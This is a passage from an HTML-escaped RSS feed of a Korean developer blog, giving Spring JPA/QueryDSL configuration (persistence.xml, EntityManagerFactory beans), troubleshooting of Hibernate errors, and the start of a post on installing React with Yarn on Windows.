&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&amp;lt;plugin&amp;gt; &lt;br /&gt;&amp;lt;groupId&amp;gt;com.mysema.maven&amp;lt;/groupId&amp;gt; &lt;br /&gt;&amp;lt;artifactId&amp;gt;apt-maven-plugin&amp;lt;/artifactId&amp;gt; &lt;br /&gt;&amp;lt;version&amp;gt;1.1.3&amp;lt;/version&amp;gt; &lt;br /&gt;&amp;lt;executions&amp;gt; &lt;br /&gt;&amp;lt;execution&amp;gt; &lt;br /&gt;&amp;lt;goals&amp;gt;&lt;br /&gt;&amp;lt;goal&amp;gt;process&amp;lt;/goal&amp;gt; &lt;br /&gt;&amp;lt;/goals&amp;gt; &lt;br /&gt;&amp;lt;configuration&amp;gt; &lt;br /&gt;&amp;lt;outputDirectory&amp;gt;&lt;span style=&quot;color: #8a3db6;&quot;&gt;Qclass가 생성될 임의 지정 packagePath&lt;/span&gt;&amp;lt;/outputDirectory&amp;gt; &lt;br /&gt;&amp;lt;processor&amp;gt;com.querydsl.apt.jpa.JPAAnnotationProcessor&amp;lt;/processor&amp;gt; &lt;br /&gt;&amp;lt;/configuration&amp;gt;&lt;br /&gt;&amp;lt;/execution&amp;gt; &lt;br /&gt;&amp;lt;/executions&amp;gt; &lt;br /&gt;&amp;lt;/plugin&amp;gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;엔티티객체를 바탕으로 &lt;/span&gt;Q클래스를 생성해주는 설정입니다.&lt;span style=&quot;color: #333333;&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #fcfcfc; color: #006dd7;&quot;&gt;&lt;span style=&quot;background-color: #fcfcfc;&quot;&gt;&lt;span style=&quot;background-color: #fcfcfc;&quot;&gt;④webapp 안에 META-INF폴더를 만들고 안에 persistence.xml을 작성합니다.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #fcfcfc; color: #8a3db6;&quot;&gt;persistence.xml&lt;/span&gt;&lt;/p&gt;
&lt;div data-ke-type=&quot;moreLess&quot; data-text-more=&quot;더보기&quot; data-text-less=&quot;닫기&quot;&gt;&lt;a class=&quot;btn-toggle-moreless&quot;&gt;더보기&lt;/a&gt;
&lt;div class=&quot;moreless-content&quot;&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt; &lt;br /&gt;&amp;lt;persistence xmlns=&quot;http://xmlns.jcp.org/xml/ns/persistence&quot; version=&quot;2.1&quot;&amp;gt; &amp;lt;!-- DB당 영속성 한개 --&amp;gt;&lt;br /&gt;&amp;lt;persistence-unit name=&quot;&lt;span style=&quot;color: #006dd7;&quot;&gt;anyindexnaming&lt;/span&gt;&quot; &lt;span style=&quot;color: #000000;&quot;&gt;transaction-type=&quot;RESOURCE_LOCAL&quot;&lt;/span&gt;&amp;gt; &lt;br /&gt;&amp;lt;properties&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;!--&amp;lt;property name=&quot;hibernate.dialect&quot; value=&quot;&lt;span style=&quot;color: #ee2323;&quot;&gt;DB에 맞는 방언&lt;/span&gt;&quot; /&amp;gt;--&amp;gt;&lt;br /&gt;&amp;lt;!--자신의 DB버전과 종류에맞는 설정이 필요--&amp;gt;&lt;br /&gt;&amp;lt;!--해당 DB에서만 제공하는 방언을 설정함--&amp;gt;&lt;br /&gt;&amp;lt;!--다만, 사용하는 jdbc에 맞춰서 스스로 맞춰지기 때문에 웬만하면 적지말것--&amp;gt;&lt;br /&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&amp;lt;!--스스로 맞춰주는 DB가 아닐경우 맞는 설정을 반드시 찾아서 해야함--&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;property name=&quot;hibernate.show_sql&quot; value=&quot;true&quot; /&amp;gt; &amp;lt;!-- hibernate가 실행한 SQL을 출력 --&amp;gt; &lt;br /&gt;&amp;lt;property name=&quot;hibernate.format_sql&quot; value=&quot;true&quot; /&amp;gt; &amp;lt;!-- SQL 출력 시 정돈된 출력 --&amp;gt; &lt;br /&gt;&amp;lt;property name=&quot;hibernate.use_sql_comments&quot; value=&quot;true&quot; /&amp;gt; &amp;lt;!-- 쿼리 출력 시 주석도 함께 출력 --&amp;gt; &lt;br /&gt;&amp;lt;property name=&quot;hibernate.id.new_generator_mappings&quot; value=&quot;true&quot; /&amp;gt; &amp;lt;!--자동키 생성 사용시 필요--&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;!--스키마 자동 생성&amp;lt;property name=&quot;hibernate.hbm2ddl.auto&quot; value=&quot;create&quot; /&amp;gt;--&amp;gt; &lt;br /&gt;&lt;br /&gt;&amp;lt;/properties&amp;gt; &lt;br /&gt;&amp;lt;/persistence-unit&amp;gt; &lt;br /&gt;&amp;lt;/persistence&amp;gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #8a3db6;&quot;&gt;ⓐ&lt;span style=&quot;background-color: #fcfcfc;&quot;&gt;hibernate.dialect&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.google.com/search?q=Access+to+DialectResolutionInfo+cannot+be+null+when+%27hibernate.dialect%27+not+set&amp;amp;rlz=1C1IBEF_koKR968KR969&amp;amp;oq=Access+to+DialectResolutionInfo+cannot+be+null+when+%27hibernate.dialect%27+not+set&amp;amp;aqs=chrome..69i57j0i512l9.375j0j4&amp;amp;sourceid=chrome&amp;amp;ie=UTF-8&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Access to DialectResolutionInfo cannot be null when 'hibernate.dialect' not set&lt;/a&gt; 오류가 발생한다면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;방언을 찾기전에 먼저 JDBC를 통해서 자신의 계정정보가 제대로 일치하는지,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DB에 접속이 가능한 방화벽 설정을 해놨으며&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;접속하는 계정이 데이터베이스에 접근할 수 있는 권한을 지니고 있는지 먼저 확인하시길 바랍니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 접속이 확인된 후에 본 문구가 지속 된다면 그 후에 구글링으로 자신에게 적합한 DB 방언을 찾아줍니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #8a3db6;&quot;&gt;ⓑ&lt;span style=&quot;background-color: #fcfcfc;&quot;&gt;ibernate.hbm2ddl.auto&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스키마 자동 생성기능은 create 사용시 기존 내용물을 지우고 생성하며,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 원하지 않을시 update를 사용합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 DB에서 데이터를 매칭해서 읽어오는 것이 목적이라면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;value = &quot;validate&quot; 를 통해 서로의 테이블이 일치하는가만 확인할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;단, 예외를 던지면서 실행을 막는 것은 둘째 치고 그 원인은 안가르쳐 줍니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;옵션 사용시 Entity 클래스를 직렬화할 필요가 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #8a3db6;&quot;&gt;ⓒ&lt;span style=&quot;background-color: #fcfcfc;&quot;&gt;transaction-type=&quot;RESOURCE_LOCAL&quot;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;spring data jpa 를 사용하기 위해서 (JpaRepository) 기본적으로 설정해야되는 옵션입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;작성하지 않으면 트랜젝션 오픈 문제로 JpaRepository를 사용할 수 없습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #fcfcfc; color: #006dd7;&quot;&gt;⑤configuration.xml에 E&lt;span style=&quot;background-color: #fafafa;&quot;&gt;ntityManagerFactory를 빈으로 등록합니다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;div data-ke-type=&quot;moreLess&quot; data-text-more=&quot;더보기&quot; data-text-less=&quot;닫기&quot;&gt;&lt;a class=&quot;btn-toggle-moreless&quot;&gt;더보기&lt;/a&gt;
&lt;div class=&quot;moreless-content&quot;&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #fafafa; color: #333333;&quot;&gt;&lt;span style=&quot;background-color: #fafafa;&quot;&gt;본 내용중에는 ${프로퍼티}를 사용합니다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #fafafa; color: #333333;&quot;&gt;&lt;span style=&quot;background-color: #fafafa;&quot;&gt;프로퍼티 사용에 대해서는 &lt;span style=&quot;color: #009a87;&quot;&gt;MyBatis&lt;/span&gt; &lt;span style=&quot;color: #006dd7;&quot;&gt;①&lt;/span&gt; , &lt;span style=&quot;background-color: #fafafa; color: #006dd7;&quot;&gt;⑤&lt;/span&gt;를 참고해주세요.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&amp;lt;bean id=&quot;&lt;span style=&quot;color: #009a87;&quot;&gt;datasource&lt;/span&gt;&quot; class=&quot;org.springframework.jdbc.datasource.DriverManagerDataSource&quot;&amp;gt;&lt;br /&gt;&amp;lt;property name=&quot;driverClassName&quot; value=&quot;${db.driver}&quot;/&amp;gt;&lt;br /&gt;&amp;lt;property name=&quot;url&quot; value=&quot;${db.url}&quot;/&amp;gt;&lt;br /&gt;&amp;lt;property name=&quot;username&quot; value=&quot;${db.username}&quot;/&amp;gt;&lt;br /&gt;&amp;lt;property name=&quot;password&quot; value=&quot;${db.password}&quot;/&amp;gt;&lt;br /&gt;&amp;lt;/bean&amp;gt; &amp;lt;!-- datasource 추가, EntityManagerFactory 의 인자 2번 --&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;bean&amp;nbsp;id=&quot;&lt;span style=&quot;color: #8a3db6;&quot;&gt;jpaVendorAdapter&lt;/span&gt;&quot;&amp;nbsp;class=&quot;org.springframework.orm.jpa.vendor.HibernateJpaVendorAdapter&quot;/&amp;gt;&lt;br /&gt;&amp;lt;!--EntityManagerFactory 의 인자 2번--&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;bean&amp;nbsp;id=&quot;&lt;span style=&quot;color: #f89009;&quot;&gt;entityManagerFactory&lt;/span&gt;&quot;&amp;nbsp;class=&quot;org.springframework.orm.jpa.LocalContainerEntityManagerFactoryBean&quot;&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;property&amp;nbsp;name=&quot;dataSource&quot;&amp;nbsp;ref=&quot;&lt;span style=&quot;color: #009a87;&quot;&gt;dataSource&lt;/span&gt;&quot;/&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;property&amp;nbsp;name=&quot;jpaVendorAdapter&quot;&amp;nbsp;ref=&quot;&lt;span style=&quot;color: #8a3db6;&quot;&gt;jpaVendorAdapter&lt;/span&gt;&quot;/&amp;gt;&lt;br /&gt;&amp;lt;/bean&amp;gt; &amp;lt;!--EntityManagerFactory 를 빈 등록--&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;bean&amp;nbsp;id=&quot;&lt;span style=&quot;color: #006dd7;&quot;&gt;transactionManager&lt;/span&gt;&quot;&amp;nbsp;class=&quot;org.springframework.orm.jpa.JpaTransactionManager&quot;&amp;gt;&lt;br /&gt;&amp;lt;property name=&quot;&lt;span style=&quot;color: #666666;&quot;&gt;entityManagerFactory&lt;/span&gt;&quot; ref=&quot;&lt;span style=&quot;color: #f89009;&quot;&gt;entityManagerFactory&lt;/span&gt;&quot;/&amp;gt;&lt;br /&gt;&amp;lt;/bean&amp;gt; &amp;lt;!--EntityManager 를 빈 등록 --&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;tx:annotation-driven transaction-manager=&quot;&lt;span style=&quot;color: #006dd7;&quot;&gt;transactionManager&lt;/span&gt;&quot; /&amp;gt; &amp;lt;!--트랜젝션 사용--&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;!--&amp;lt;context:component-scan base-package=&quot;com.spring.jpa&quot;&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;context:exclude-filter&amp;nbsp;type=&quot;annotation&quot;&amp;nbsp;expression=&quot;org.springframework.stereotype.Controller&quot;/&amp;gt;&lt;br /&gt;&amp;lt;/context:component-scan&amp;gt; --&amp;gt; &amp;lt;!--JPA 어노테이션들을 컴포넌트 스캔 , &lt;span style=&quot;color: #ee2323;&quot;&gt;선택사항.&lt;span style=&quot;color: #666666;&quot;&gt; --&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&amp;lt;!--사용하시려면 beans 내부에 xmlns:context=&quot;http://www.springframework.org/schema/context&quot; 를 추가해야 합니다. --&amp;gt;&lt;/blockquote&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;+jpa 관련 오류 문제&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;솔직히.. 예외를 이렇게 대충 던지는 api는 처음봅니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 사용상 대표적인 오류 두가지 를 설명합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;Unable to access TransactionManager or UserTransaction to make physical transaction delegate&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;gt;JPQL 작성에 틀린 부분이 있을 때, 커스텀 JPARepository 의 Impl 를 인식을 못할 때 발생합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;Error creating bean with name 'entityManagerFactory' defined in class path resource [config/configuration.xml]: Invocation of init method failed; nested exception is javax.persistence.PersistenceException: [PersistenceUnit: jpasystem] Unable to build Hibernate SessionFactory &lt;u&gt;이유는 알아서 찾으시고 아무튼 빈 생성에 실패했다&lt;/u&gt;는 뜻을 지닌 &lt;s&gt;개노답&lt;/s&gt; 문구&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1.database 로그인 실패&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2.database 권한 없음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3.JDBC가 JPA와 호환되지 않음 (더 낮은 버전의 JDBC가 필요)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4.컬럼명 중복매칭&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;5.&lt;span style=&quot;background-color: #fcfcfc; color: #666666;&quot;&gt;&amp;lt;property name=&quot;hibernate.hbm2ddl.auto&quot; value=&quot;???&quot; /&amp;gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 옵션 사용시 엔티티가 DB에 존재하는 테이블과 서로 일치하거나 호환되지않음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr;데이터가 중요하지 않다면 create로 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;u&gt;&lt;b&gt;테이블&lt;/b&gt;&lt;b&gt;초기화&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;를 한번 돌리는 것을 추천하며, 혹은 위 항목을 아예 쓰지 마세요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>개발/개발환경구축</category>
      <author>불친절한 토리씨</author>
      <guid isPermaLink="true">https://mytory.tistory.com/241</guid>
      <comments>https://mytory.tistory.com/241#entry241comment</comments>
      <pubDate>Wed, 30 Nov 2022 18:22:17 +0900</pubDate>
    </item>
    <item>
      <title>[Windows] React 설치 및 Spring과 연동</title>
      <link>https://mytory.tistory.com/240</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;백엔드와 프론트엔드를 엮어주는 일을 하겠습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;작성자의 경우 백엔드와 프론트엔드 환경을 구분하기 위해서 IDE를 서로 다르게 사용합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;1.React 설치&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://nodejs.org/ko/download/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://nodejs.org/ko/download/&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1669281019668&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;다운로드 | Node.js&quot; data-og-description=&quot;Node.js&amp;reg; is a JavaScript runtime built on Chrome's V8 JavaScript engine.&quot; data-og-host=&quot;nodejs.org&quot; data-og-source-url=&quot;https://nodejs.org/ko/download/&quot; data-og-url=&quot;https://nodejs.org/ko/download/&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/cO1jyI/hyQGlyiawA/SmzIbaohzYVMl5h8bL60Ik/img.png?width=224&amp;amp;height=256&amp;amp;face=0_0_224_256,https://scrap.kakaocdn.net/dn/dlYaxa/hyQGq0FdZW/xHtZXUbsRi6kpnbSnykkdk/img.png?width=224&amp;amp;height=256&amp;amp;face=0_0_224_256&quot;&gt;&lt;a href=&quot;https://nodejs.org/ko/download/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://nodejs.org/ko/download/&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/cO1jyI/hyQGlyiawA/SmzIbaohzYVMl5h8bL60Ik/img.png?width=224&amp;amp;height=256&amp;amp;face=0_0_224_256,https://scrap.kakaocdn.net/dn/dlYaxa/hyQGq0FdZW/xHtZXUbsRi6kpnbSnykkdk/img.png?width=224&amp;amp;height=256&amp;amp;face=0_0_224_256');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;다운로드 | Node.js&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Node.js&amp;reg; is a JavaScript runtime built on Chrome's V8 JavaScript engine.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;nodejs.org&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저 node js와&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://classic.yarnpkg.com/en/docs/install#windows-stable&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://classic.yarnpkg.com/en/docs/install#windows-stable&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1669281237088&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Yarn&quot; data-og-description=&quot;Fast, reliable, and secure dependency management.&quot; data-og-host=&quot;classic.yarnpkg.com&quot; data-og-source-url=&quot;https://classic.yarnpkg.com/en/docs/install#windows-stable&quot; data-og-url=&quot;https://classic.yarnpkg.com/en/docs/install/&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://classic.yarnpkg.com/en/docs/install#windows-stable&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://classic.yarnpkg.com/en/docs/install#windows-stable&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Yarn&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Fast, reliable, and secure dependency management.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;classic.yarnpkg.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Yarn 을 설치합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;831&quot; data-origin-height=&quot;658&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/t81aj/btrRZN3p57D/SiBcjqjbadurIHFrVk7qpk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/t81aj/btrRZN3p57D/SiBcjqjbadurIHFrVk7qpk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/t81aj/btrRZN3p57D/SiBcjqjbadurIHFrVk7qpk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Ft81aj%2FbtrRZN3p57D%2FSiBcjqjbadurIHFrVk7qpk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;831&quot; height=&quot;658&quot; data-origin-width=&quot;831&quot; data-origin-height=&quot;658&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위의 홈페이지는 Click to append 를 클릭하면 설치 항목이 나옵니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;784&quot; data-origin-height=&quot;640&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/UrzFF/btrR2tpUuBX/3cemLypW46o5ZQZbxa4vJ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/UrzFF/btrR2tpUuBX/3cemLypW46o5ZQZbxa4vJ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/UrzFF/btrR2tpUuBX/3cemLypW46o5ZQZbxa4vJ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FUrzFF%2FbtrR2tpUuBX%2F3cemLypW46o5ZQZbxa4vJ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;784&quot; height=&quot;640&quot; data-origin-width=&quot;784&quot; data-origin-height=&quot;640&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;cmd에 입력합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #000000; color: #ffffff;&quot;&gt;yarn global add create-react-app&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;2.React 프로젝트 생성 및 실행&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #000000; color: #ffffff;&quot;&gt;cd c:\&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #000000; color: #ffffff;&quot;&gt;create-react-app 프로젝트명&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위의 명령어는 c: 드라이브 안에 react 프로젝트를 생성합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #000000; color: #ffffff;&quot;&gt;cd c:\프로젝트명&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;의 경로로 들어가서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #000000; color: #ffffff;&quot;&gt;yarn start&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;를 입력하면 react 서버가 실행되지만 ,&amp;nbsp;&lt;/p&gt;
